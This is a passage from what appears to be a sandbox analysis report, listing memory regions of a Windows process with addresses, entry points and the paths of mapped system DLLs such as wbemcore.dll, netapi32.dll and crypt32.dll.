"c:\\windows\\system32\\ncobjapi.dll") Region: id = 1879 start_va = 0x7fef8f80000 end_va = 0x7fef9034fff monitored = 0 entry_point = 0x7fef8ffcf80 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1880 start_va = 0x7fef9040000 end_va = 0x7fef9058fff monitored = 0 entry_point = 0x7fef9041104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1881 start_va = 0x7fef9060000 end_va = 0x7fef90affff monitored = 0 entry_point = 0x7fef9061190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1882 start_va = 0x7fef90b0000 end_va = 0x7fef90b7fff monitored = 0 entry_point = 0x7fef90b1020 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1883 start_va = 0x7fef90c0000 end_va = 0x7fef9119fff monitored = 0 entry_point = 0x7fef90fdde0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1884 start_va = 0x7fef9120000 end_va = 0x7fef9140fff monitored = 0 entry_point = 0x7fef91303b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1885 start_va = 0x7fef9150000 end_va = 0x7fef91c3fff monitored = 0 entry_point = 0x7fef91566f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1886 start_va = 0x7fef91d0000 end_va = 0x7fef923afff monitored = 0 entry_point = 0x7fef9214344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1887 start_va = 0x7fef9240000 end_va = 0x7fef9252fff monitored = 0 entry_point = 0x7fef9241d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1888 start_va = 0x7fef9260000 end_va = 0x7fef92c1fff monitored = 0 entry_point = 0x7fef929bd80 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1889 start_va = 0x7fef92d0000 end_va = 0x7fef93fbfff monitored = 0 entry_point = 0x7fef9380ef0 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1890 start_va = 0x7fef9400000 end_va = 0x7fef9419fff monitored = 0 entry_point = 0x7fef9413fbc region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1891 start_va = 0x7fef9420000 end_va = 0x7fef94a3fff monitored = 0 entry_point = 0x7fef9471118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 1892 start_va = 0x7fef94b0000 end_va = 0x7fef94d4fff monitored = 0 entry_point = 0x7fef94c8c54 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 1893 start_va = 0x7fef94e0000 end_va = 0x7fef951cfff monitored = 0 entry_point = 0x7fef94e1070 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1894 start_va = 0x7fef9520000 end_va = 0x7fef952dfff monitored = 0 entry_point = 0x7fef9525500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1895 start_va = 0x7fef9530000 end_va = 0x7fef9556fff monitored = 0 entry_point = 0x7fef95311a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1896 start_va = 0x7fef9560000 end_va = 0x7fef9632fff monitored = 0 entry_point = 0x7fef95d8b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1897 start_va = 0x7fef9680000 end_va = 0x7fef96c6fff monitored = 0 entry_point = 0x7fef9681040 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1898 start_va = 0x7fef96d0000 end_va = 0x7fef9711fff monitored = 0 entry_point = 0x7fef96d17e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1899 start_va = 0x7fef9720000 end_va = 0x7fef97b1fff monitored = 0 entry_point = 0x7fef97951ec region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1900 start_va = 0x7fef97c0000 end_va = 0x7fef9836fff monitored = 0 entry_point = 0x7fef97fe7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1901 start_va = 0x7fef9840000 end_va = 0x7fef9879fff monitored = 0 entry_point = 0x7fef985d020 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1902 start_va = 0x7fef98b0000 end_va = 0x7fef98ccfff monitored = 0 entry_point = 0x7fef98b2f18 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 1903 start_va = 0x7fef9b30000 end_va = 0x7fef9b40fff monitored = 0 entry_point = 0x7fef9b39e7c region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1904 start_va = 0x7fef9b50000 end_va = 0x7fef9bb3fff monitored = 0 entry_point = 0x7fef9b51254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1905 start_va = 0x7fef9bc0000 end_va = 0x7fef9c30fff monitored = 0 entry_point = 0x7fef9bc1010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1906 start_va = 0x7fef9cf0000 end_va = 0x7fef9d06fff monitored = 0 entry_point = 0x7fef9cf1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1907 start_va = 0x7fef9d10000 end_va = 0x7fef9ebffff monitored = 0 entry_point = 0x7fef9d11010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1908 start_va = 0x7fefa1a0000 end_va = 0x7fefa1a8fff monitored = 0 entry_point = 0x7fefa1a11a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1909 start_va = 0x7fefa3b0000 end_va = 0x7fefa426fff monitored = 0 entry_point = 0x7fefa3bafd0 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1910 start_va = 0x7fefa430000 end_va = 0x7fefa439fff monitored = 0 entry_point = 0x7fefa43260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1911 start_va = 0x7fefa440000 end_va = 0x7fefa551fff monitored = 0 entry_point = 0x7fefa45f354 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1912 start_va = 0x7fefa560000 end_va = 0x7fefa56efff monitored = 0 entry_point = 0x7fefa567e80 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 1913 start_va = 0x7fefa570000 end_va = 0x7fefa578fff monitored = 0 entry_point = 0x7fefa573668 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 1914 start_va = 0x7fefa580000 end_va = 0x7fefa588fff monitored = 0 entry_point = 0x7fefa581020 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 1915 start_va = 0x7fefa590000 end_va = 0x7fefa5e5fff monitored = 0 entry_point = 0x7fefa591040 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1916 start_va = 0x7fefa5f0000 end_va = 0x7fefa64dfff monitored = 0 entry_point = 0x7fefa5f9024 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1917 start_va = 0x7fefa650000 end_va = 0x7fefa667fff monitored = 0 entry_point = 0x7fefa651bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1918 start_va = 0x7fefa670000 end_va = 0x7fefa680fff monitored = 0 entry_point = 0x7fefa6716ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1919 start_va = 0x7fefa6a0000 end_va = 0x7fefa6f2fff monitored = 0 entry_point = 0x7fefa6a2b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1920 start_va = 0x7fefa700000 end_va = 0x7fefa714fff monitored = 0 entry_point = 0x7fefa701020 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 1921 start_va = 0x7fefac90000 end_va = 0x7fefaca3fff monitored = 0 entry_point = 0x7fefac93e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1922 start_va = 0x7fefacb0000 end_va = 0x7fefacbafff monitored = 0 entry_point = 0x7fefacb1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1923 start_va = 0x7fefacc0000 end_va = 0x7feface6fff monitored = 0 entry_point = 0x7fefacc98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1924 start_va = 0x7fefacf0000 end_va = 0x7fefad56fff monitored = 0 entry_point = 0x7fefad06060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1925 start_va = 0x7fefad70000 end_va = 0x7fefad7afff monitored = 0 entry_point = 0x7fefad74f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1926 start_va = 0x7fefad80000 end_va = 0x7fefad8bfff monitored = 0 entry_point = 0x7fefad815d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1927 start_va = 0x7fefad90000 end_va = 0x7fefad9ffff monitored = 0 entry_point = 0x7fefad9835c region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1928 start_va = 0x7fefada0000 end_va = 0x7fefadb8fff monitored = 0 entry_point = 0x7fefada11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1929 start_va = 0x7fefadc0000 end_va = 0x7fefadf6fff monitored = 0 entry_point = 0x7fefadc8424 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1930 start_va = 0x7fefae40000 end_va = 0x7fefae54fff monitored = 0 entry_point = 0x7fefae460d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1931 start_va = 0x7fefae60000 end_va = 0x7fefaf21fff monitored = 0 entry_point = 0x7fefae6101c region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1932 start_va = 0x7fefb160000 end_va = 0x7fefb168fff monitored = 0 entry_point = 0x7fefb161010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1933 start_va = 0x7fefb250000 end_va = 0x7fefb27cfff monitored = 0 entry_point = 0x7fefb251010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1934 start_va = 0x7fefb280000 end_va = 0x7fefb290fff monitored = 0 entry_point = 0x7fefb2814c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1935 start_va = 0x7fefb2e0000 end_va = 0x7fefb350fff monitored = 0 entry_point = 0x7fefb31ecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1936 start_va = 0x7fefb3d0000 end_va = 0x7fefb3e3fff monitored = 0 entry_point = 0x7fefb3d16b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1937 start_va = 0x7fefb3f0000 end_va = 0x7fefb404fff monitored = 0 entry_point = 0x7fefb3f1050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1938 start_va = 0x7fefb410000 end_va = 0x7fefb41bfff monitored = 0 entry_point = 0x7fefb4118a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1939 start_va = 0x7fefb420000 end_va = 0x7fefb435fff monitored = 0 entry_point = 0x7fefb4211a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1940 start_va = 0x7fefb550000 end_va = 0x7fefb560fff monitored = 0 entry_point = 0x7fefb551070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1941 start_va = 0x7fefb6b0000 end_va = 0x7fefb6e4fff monitored = 0 entry_point = 0x7fefb6b1064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1942 start_va = 0x7fefbb20000 end_va = 0x7fefbb75fff monitored = 0 entry_point = 0x7fefbb2bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1943 start_va = 0x7fefbb80000 end_va = 0x7fefbcabfff monitored = 0 entry_point = 0x7fefbb894bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1944 start_va = 0x7fefbcb0000 end_va = 0x7fefbcccfff monitored = 0 entry_point = 0x7fefbcb1ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1945 start_va = 0x7fefbd00000 end_va = 0x7fefbef3fff monitored = 0 entry_point = 0x7fefbe8c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1946 start_va = 0x7fefc390000 end_va = 0x7fefc39bfff monitored = 0 entry_point = 0x7fefc391064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1947 start_va = 0x7fefc3a0000 end_va = 0x7fefc45afff monitored = 0 entry_point = 0x7fefc3a6de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1948 start_va = 0x7fefc460000 end_va = 0x7fefc466fff monitored = 0 entry_point = 0x7fefc4614b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1949 start_va = 0x7fefc550000 end_va = 0x7fefc56afff monitored = 0 entry_point = 0x7fefc552068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1950 start_va = 0x7fefc570000 end_va = 0x7fefc58dfff monitored = 0 entry_point = 0x7fefc5713b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1951 start_va = 0x7fefc590000 end_va = 0x7fefc5a1fff monitored = 0 entry_point = 0x7fefc591060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 1952 start_va = 0x7fefc5b0000 end_va = 0x7fefc5cefff monitored = 0 entry_point = 0x7fefc5b5c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 1953 start_va = 0x7fefc680000 end_va = 0x7fefc6b8fff monitored = 0 entry_point = 0x7fefc68c0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1954 start_va = 0x7fefc6c0000 end_va = 0x7fefc6c9fff monitored = 0 entry_point = 0x7fefc6c3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1955 start_va = 0x7fefc6d0000 end_va = 0x7fefc6dcfff monitored = 0 entry_point = 0x7fefc6d1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 1956 start_va = 0x7fefc7c0000 end_va = 0x7fefc806fff monitored = 0 entry_point = 0x7fefc7c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1957 start_va = 0x7fefc8b0000 end_va = 0x7fefc8dffff monitored = 0 entry_point = 0x7fefc8b194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1958 start_va = 0x7fefc8e0000 end_va = 0x7fefc93afff monitored = 0 entry_point = 0x7fefc8e6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1959 start_va = 0x7fefca50000 end_va = 0x7fefca56fff monitored = 0 entry_point = 0x7fefca5142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1960 start_va = 0x7fefca60000 end_va = 0x7fefcab4fff monitored = 0 entry_point = 0x7fefca61054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1961 start_va = 0x7fefcac0000 end_va = 0x7fefcad7fff monitored = 0 entry_point = 0x7fefcac3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1962 start_va = 0x7fefcbd0000 end_va = 0x7fefcc01fff monitored = 0 entry_point = 0x7fefcbd144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1963 start_va = 0x7fefcc10000 end_va = 0x7fefcc17fff monitored = 0 entry_point = 0x7fefcc12a6c region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 1964 start_va = 0x7fefcc20000 end_va = 0x7fefcc29fff monitored = 0 entry_point = 0x7fefcc23b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1965 start_va = 0x7fefcc30000 end_va = 0x7fefcc51fff monitored = 0 entry_point = 0x7fefcc35d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1966 start_va = 0x7fefccb0000 end_va = 0x7fefccdefff monitored = 0 entry_point = 0x7fefccb1064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1967 start_va = 0x7fefccf0000 end_va = 0x7fefcd5cfff monitored = 0 entry_point = 0x7fefccf1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1968 start_va = 0x7fefcd60000 end_va = 0x7fefcd73fff monitored = 0 entry_point = 0x7fefcd64160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1969 start_va = 0x7fefcfc0000 end_va = 0x7fefcfe2fff monitored = 0 entry_point = 0x7fefcfc1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1970 start_va = 0x7fefd060000 end_va = 0x7fefd06afff monitored = 0 entry_point = 0x7fefd061030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1971 start_va = 0x7fefd090000 end_va = 0x7fefd0b4fff monitored = 0 entry_point = 0x7fefd099658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1972 start_va = 0x7fefd0c0000 end_va = 0x7fefd0cefff monitored = 0 entry_point = 0x7fefd0c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1973 start_va = 0x7fefd0d0000 end_va = 0x7fefd160fff monitored = 0 entry_point = 0x7fefd0d1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1974 start_va = 0x7fefd170000 end_va = 0x7fefd1acfff monitored = 0 entry_point = 0x7fefd1718f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1975 start_va = 0x7fefd1b0000 end_va = 0x7fefd1c3fff monitored = 0 entry_point = 0x7fefd1b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1976 start_va = 0x7fefd1d0000 end_va = 0x7fefd1defff monitored = 0 entry_point = 0x7fefd1d19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1977 start_va = 0x7fefd270000 end_va = 0x7fefd27efff monitored = 0 entry_point = 0x7fefd271020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1978 start_va = 0x7fefd280000 end_va = 0x7fefd2bafff monitored = 0 entry_point = 0x7fefd281324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1979 start_va = 0x7fefd2c0000 end_va = 0x7fefd42cfff monitored = 0 entry_point = 0x7fefd2c10b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1980 start_va = 0x7fefd4d0000 end_va = 0x7fefd53bfff monitored = 0 entry_point = 0x7fefd4d2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1981 start_va = 0x7fefd540000 end_va = 0x7fefd575fff monitored = 0 entry_point = 0x7fefd541474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1982 start_va = 0x7fefd580000 end_va = 0x7fefd599fff monitored = 0 entry_point = 0x7fefd581558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1983 start_va = 0x7fefd5a0000 end_va = 0x7fefd6ccfff monitored = 0 entry_point = 0x7fefd5eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1984 start_va = 0x7fefd6d0000 end_va = 0x7fefd721fff monitored = 0 entry_point = 0x7fefd6d10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1985 start_va = 0x7fefd730000 end_va = 0x7fefd932fff monitored = 0 entry_point = 0x7fefd753330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1986 start_va = 0x7fefd940000 end_va = 0x7fefd94dfff monitored = 0 entry_point = 0x7fefd941080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1987 start_va = 0x7fefdd50000 end_va = 0x7fefde18fff monitored = 0 entry_point = 0x7fefddca874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1988 start_va = 0x7fefde20000 end_va = 0x7fefeba7fff monitored = 0 entry_point = 0x7fefde9cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1989 start_va = 0x7fefebb0000 end_va = 0x7fefec4efff monitored = 0 entry_point = 0x7fefebb25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1990 start_va = 0x7fefec50000 end_va = 0x7fefec7dfff monitored = 0 entry_point = 0x7fefec51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1991 start_va = 0x7fefec80000 